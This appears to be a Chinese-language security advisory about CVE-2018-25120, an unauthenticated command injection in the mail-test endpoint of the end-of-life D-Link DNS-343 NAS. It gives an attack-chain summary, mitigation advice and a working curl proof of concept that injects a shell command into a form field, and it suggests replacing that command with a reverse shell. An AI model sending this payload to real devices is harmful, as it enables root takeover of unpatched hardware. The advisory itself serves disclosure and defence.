IPBUF安全漏洞报告
English
CVE-2018-25120 CVSS 9.8 严重

CVE-2018-25120 D-Link DNS-343 ShareCenter 命令注入漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2018-25120
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-343 ShareCenter

相关标签

命令注入远程代码执行D-LinkDNS-343ShareCenterNAS设备无需认证root权限

漏洞概述

CVE-2018-25120是D-Link DNS-343 ShareCenter设备中一个严重的命令注入漏洞。该漏洞存在于邮件测试功能中,攻击者可以通过Web维护脚本向内部goForm端点'/goform/Mail_Test'提交表单数据,由于应用程序未对用户输入进行充分的验证和过滤,直接将多个表单参数传递给系统邮件工具,导致攻击者可以在服务器上注入任意Shell命令。由于该漏洞无需认证即可利用,攻击者可以远程执行代码,并以root权限在设备上执行操作。D-Link DNS-343产品线已被官方宣布停止生命周期(EOL),不再获得安全更新支持。此漏洞CVSS评分高达9.8,属于紧急严重级别,对使用该设备的用户构成极高风险。

技术细节

漏洞根源在于/goform/Mail_Test端点的处理逻辑。当用户提交邮件测试请求时,Web应用程序将表单中的多个参数(如收件人地址、发件人地址、邮件服务器配置等)直接拼接到系统命令字符串中调用邮件工具。攻击者可以在这些参数中注入Shell元字符和命令,如使用分号(;)、管道符(|)或反引号(`)等来终止当前命令并插入恶意命令。由于缺乏输入验证和参数过滤,注入的命令将被系统shell解析执行。由于邮件功能通常需要较高权限运行,攻击者可以获取root级别的代码执行能力,实现对设备的完全控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标设备为D-Link DNS-343 ShareCenter,确认Web管理界面可访问
STEP 2
步骤2: 构造恶意请求
攻击者构造包含Shell命令注入payload的POST请求,目标是/goform/Mail_Test端点
STEP 3
步骤3: 发送漏洞利用请求
无需认证即可发送恶意请求,payload中的命令被注入到系统邮件调用中
STEP 4
步骤4: 命令执行
目标设备将注入的命令作为系统命令执行,攻击者获得root级别代码执行权限
STEP 5
步骤5: 持久化控制
攻击者可部署后门、修改配置或窃取数据,实现对设备的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2018-25120 PoC - D-Link DNS-343 Mail Test Command Injection # Target: D-Link DNS-343 ShareCenter with firmware <= 1.05 # Author: VulnCheck # Note: This PoC demonstrates the vulnerability for authorized security testing only TARGET="http://TARGET_IP" # Replace TARGET_IP with the actual IP address of the vulnerable device # Construct malicious payload with command injection # Inject: sleep 5 command to verify vulnerability PAYLOAD="[email protected]; sleep 5; #" # Send exploit request to /goform/Mail_Test endpoint curl -X POST "${TARGET}/goform/Mail_Test" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=${PAYLOAD}&server=smtp.test.com&port=25&[email protected]" \ -w "\nHTTP Status: %{http_code}\n" \ -o /dev/null -s echo "PoC executed. Check if response is delayed by 5 seconds." echo "For actual exploitation, replace 'sleep 5' with reverse shell payload."

影响范围

D-Link DNS-343 ShareCenter firmware <= 1.05

防御指南

临时缓解措施
由于D-Link DNS-343 ShareCenter产品线已停止生命周期支持,官方不会发布安全补丁。建议用户尽快迁移到受支持的替代产品。如果暂时无法更换,应通过防火墙严格限制对该设备Web管理界面的访问,仅允许必要的管理IP访问,并密切监控设备活动以检测潜在的入侵行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表